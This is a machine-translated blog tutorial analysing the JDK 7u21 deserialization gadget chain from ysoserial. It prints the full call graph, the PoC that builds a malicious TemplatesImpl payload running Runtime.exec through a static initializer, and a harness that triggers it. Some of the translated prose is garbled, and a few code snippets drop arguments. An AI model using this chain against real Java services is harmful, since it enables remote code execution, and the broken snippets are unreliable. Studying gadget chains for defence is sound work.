Jdk7u21 chain analysis of Java Security

Jdk7u21 chain analysis of Java Security

First article: analysis of the jdk7u21 chain of Java Security

0x00 Preface

In fact, the chain wants to be analyzed later, but after learning the vulnerability of fastjson, we have to use the chain. So let's do a simple analysis here.

In the utilization chain analyzed above, in fact, almost all of them execute commands based on invokertransformer and templatesimpl, while other utilization chains also carry out a variant based on these two classes. Thus, a new utilization chain is generated. This jdk7u21 chain is also implemented based on templatesimpl.

0x01 jdk7u21 chain structure analysis

Let's take a look at the call chain in YSO

LinkedHashSet.readObject()
  LinkedHashSet.add()
    ...
      TemplatesImpl.hashCode() (X)
  LinkedHashSet.add()
    ...
      Proxy(Templates).hashCode() (X)
        AnnotationInvocationHandler.invoke() (X)
          AnnotationInvocationHandler.hashCodeImpl() (X)
            String.hashCode() (0)
            AnnotationInvocationHandler.memberValueHashCode() (X)
              TemplatesImpl.hashCode() (X)
      Proxy(Templates).equals()
        AnnotationInvocationHandler.invoke()
          AnnotationInvocationHandler.equalsImpl()
            Method.invoke()
              ...
                TemplatesImpl.getOutputProperties()
                  TemplatesImpl.newTransformer()
                    TemplatesImpl.getTransletInstance()
                      TemplatesImpl.defineTransletClasses()
                        ClassLoader.defineClass()
                        Class.newInstance()
                          ...
                            MalicIoUsClass.<clinit>()
                              ...
                                Runtime.exec()

In fact, it can be seen from here that the chain of JDK 7u21 requires a larger amount of knowledge than the previous chain, and the analysis will be more flexible. But it's templatesimpl Getoutputproperties is actually the same as the previous step.

This article will directly use POC in yos to start the topic.

public Object getObject(final String command) throws Exception {
		final Object templates = Gadgets.createTemplatesImpl(command);

		String zeroHashCodeStr = "f5a5a608";

		HashMap map = new HashMap();
		map.put(zeroHashCodeStr,"foo");

		InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class,map);
		Reflections.setFieldValue(tempHandler,"type",Templates.class);
		Templates proxy = Gadgets.createProxy(tempHandler,Templates.class);

		LinkedHashSet set = new LinkedHashSet(); // maintain order
		set.add(templates);
		set.add(proxy);

		Reflections.setFieldValue(templates,"_auxClasses",null);
		Reflections.setFieldValue(templates,"_class",null);

		map.put(zeroHashCodeStr,templates); // swap in real object

		return set;
	}

Because this is the first time to write the POC analysis article in this yos, I will write it in detail. Let's start with the first line of code.

final Object templates = Gadgets.createTemplatesImpl(command);

Here is the call to gadgets Createtemplatesimpl this static method, and pass in the executed command. Let's follow up this method and see its implementation.

Here is the method that returns its overload, and the command is passed into three objects: templatesimpl, abstracttranslet and transformerfactoryimpl. To his overloaded method.

Create an instantiated object using reflection on the incoming templatesimpl in the overloaded method. Let's look at the following code.

It can be seen here that the structure of CC2 chain is actually the same as that of the previous CC2 chain. Use javassist to dynamically create a class, set the static code block in it as a piece of code for the runtime to execute commands, and then convert it into bytecode. You can see that the difference from the previous one is that insertafter is used here, while setbody is used in the previous chain to insert malicious code into static code blocks. But the effect is the same. Try it yourself.

Corresponding POC Code:

 ClassPool classPool=ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
        CtClass payload=classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));  //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

Let's look at the next piece of code.

Reflections.setFieldValue(templates,"_bytecodes",new byte[][] {
            classBytes,ClassFiles.classAsBytes(Foo.class)
        });

        // required to make TemplatesImpl happy
        Reflections.setFieldValue(templates,"_name","Pwnr");
        Reflections.setFieldValue(templates,"_tfactory",transFactory.newInstance());

In fact, this is easy to understand after the previous analysis of the simplified use chain POC. In fact, reflections is used here Setfieldvalue_ Bytecodes is set to the bytecode of the previously dynamically created class.

Below_ Name is set to pwnr character, and_ Tfactory is set to transformerfactoryimpl, an instanced object created by reflection.

Reflections. The underlying code of setfieldvalue is also implemented by reflection.

The corresponding codes are as follows:

Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});

The effect is the same as the above code, which will be set later_ Name and_ Tfactory is the same way, and so on.

_ name

Let's take a look at this first_ Why should name set this value. The reason for setting the value of this variable has also been analyzed earlier, and it will be described again here.

When executing the gettransletinstance method of templatesimpl, you will first judge the value of name. If it is empty, it will directly return null. Do not perform the following execution

_ bytecodes

This_ Bytecodes was also analyzed earlier.

Look at the circled code, if_ If class is empty, this. Is called defineTransletClasses(); method.

Follow up.

In the circled step, you will call loader The defineclass method is then passed in_ Bytecodes, which uses reflection to assign the bytecode of the malicious class to_ bytecodes。 loader. Follow up with the defineclass method.

In practice, his bottom layer is to call the defineclass class loader. About the defineclass class, the loader can dynamically load a bytecode.

For details, see my article on classloader class loader of Java security. As an aside, the calling of class loader is nothing more than two methods, either reflection to call, or directly inherit the class for rewriting.

Go back to where you just left off

Right_ After the class assignment is completed, newinstance will be called to instantiate at this place. The malicious code written in the static code block of the malicious class will be executed.

_ tfactory

Read a big man's article saying that getexternalextensionsmap() will be called when defining transletclasses(), and an error will be reported when it is null, so you should correct it_ Tfactory setting. However, I did not see the getexternalextensionsmap method when querying, and it will be set in YSO_ The code with the tfactory value annotates the same command that can be executed normally.

It is not found in the version of my physical machine 8u181.

Later, I saw this method in the boss's article

According to the boss's explanation, you can see jdk1 More than 8_ tfactory. Processing of getexternalextensionsmap(). We're at jdk1 Track the program under the environment of 8 and find it here_ The value of tfactory is null, so the_ tfactory. An error will occur in getexternalextensionsmap() function, resulting in program exception and unable to load_ Class in bytecodes.

Let's go back to the point just now and look at the next POC code

InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class,map);
Reflections.setFieldValue(tempHandler,Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler,Templates.class);

Take a look at reflections The getfirstctor method uses reflection internally to create an object with no parameter structure

The passed in is gadgets ANN_ INV_ HANDLER_ Class take a look at the static method.

The method returns the annotationinvocationhandler character. That is, create an annotationinvocationhandler object, call newinstance to instantiate the object, and pass in override class, map。 As mentioned earlier, annotationinvocationhandler is used to process annotations. The previous parameters need to pass in an annotation parameter, and the latter needs to pass in a map type parameter

Simply put, you create an instance of annotationinvocationhandler using reflection.

Reflections.setFieldValue(tempHandler,Templates.class);

In fact, there is nothing to say in this code, that is, change the type variable in temphandler to templates class

Templates proxy = Gadgets.createProxy(tempHandler,Templates.class);

Let's look at the next code and follow up on gadgets Createproxy method.

In fact, templates are used as dynamic agents.

Corresponding POC Code:

Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);

        InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
        Templates templates=(Templates)Proxy.newProxyInstance(Templates.class.getClassLoader(),Templates.class.getInterfaces(),invocationHandler);
        Object object=constructor.newInstance(Override.class,templates);

Then there is the last piece of code left

LinkedHashSet set = new LinkedHashSet(); // maintain order
		set.add(templates);
		set.add(proxy);

		Reflections.setFieldValue(templates,templates); // swap in real object

As explained in the following code, instantiate a linkedhashset object to add templates and proxy.

The following is the template_ Class and_ Auxclasses is set to null. As mentioned in the previous analysis, in templatesimpl_ Class must be empty to execute gettransletinstance method.

In fact, there are so many codes in POC, because YSO has made a good package of some codes, which seems that the amount of code is also relatively small. However, if we look at YSO's code for the first analysis and utilization of the chain, it will be messy. The specific reason why POC is so constructed will be explained in detail in the debugging analysis.

0x02 jdk7u21 chain debugging analysis

Write a test class in the tool to get payload.

   public static void main(String[] args) throws Exception {
        Object calc = new Jdk7u21().getObject("calc");
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.out"));
        oos.writeObject(calc);

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.out"));

        Object o = ois.readObject();
    }

The command is executed successfully. Next, let's analyze the use chain call.

Linkedhashset is used here ReadObject is used as the entry point for deserialization, but linkedhashset does not implement the readObject method, but this class inherits the HashSet class, so the readObject method of HashSet is called here. Make a breakpoint in the method.

This method is called here, map Put method, according to this method.

@H_ 283_ 404@

You can see here that the put method of HashMap is called. Why? Query the map member variables in the HashSet

When defining a member variable, the map variable is actually an attribute of a HashMap class.

Go back to the place just now

After you see the execution here, you will cross the code block of for and execute the following code. Because the table value is empty, there is no way to traverse here.

Addentry will be used later to add these values. The value of hash is the value of templatesimpl processed by hash method, that is, calculation

Hash value of templatesimpl. Key is the instance object of templatesimpl, value is an empty object, and I parameter is the result of the indexfor method processing hash.

Returning to this execution completion, it will return to this cycle of HashSet.

In the second loop, it will enter the for loop

The key point is actually this key Equals previously said that this key is an instance of templatesimpl. A dynamic proxy was created earlier. Calling his equals here will trigger the invoke method of annotationinvocationhandler.

This place will also call the equalsimpl method to follow up the method.

var8 = var5. invoke(var1); Statement, which calls the var5 method of the VAR1 object through reflection. Just follow the getmembermethods method.

Here's this Type is the templates object, and getdeclaraedmethods is used to get the reflection method.

Here you can see that two methods are obtained. You can also see a for loop later, which then iterates over the value of var2. Then use var8 = var5 below invoke(var1);

The VaR passed in here is the instance object of templatesimpl.

At this time, you will call the getoutputproperties method. In fact, this step is very clear. Because the following call steps are the same as the previous call using templatesimpl to construct a malicious class.

The getoutputproperties method will call the newtransformer method, and the newtransformer will call the gettranslateinstance method,

There is no need to say more about the later ones. Here is just a brief description.

Reference articles

https://b1ue.cn/archives/176.html
https://xz.aliyun.com/t/6884
https://xz.aliyun.com/t/7236#toc-6

0x03 end

In fact, there are still some details in the chain that have not been analyzed. I think the difficulty of the chain is that it is relatively windy. This is also the reason why we have to analyze this chain later. One thing we have to say is that we can completely analyze some details of this chain. All of them are big guys and need to have a deep code foundation.

The content of this article comes from the network collection of netizens. It is used as a learning reference. The copyright belongs to the original author.
THE END
分享
二维码
< <上一篇
下一篇>>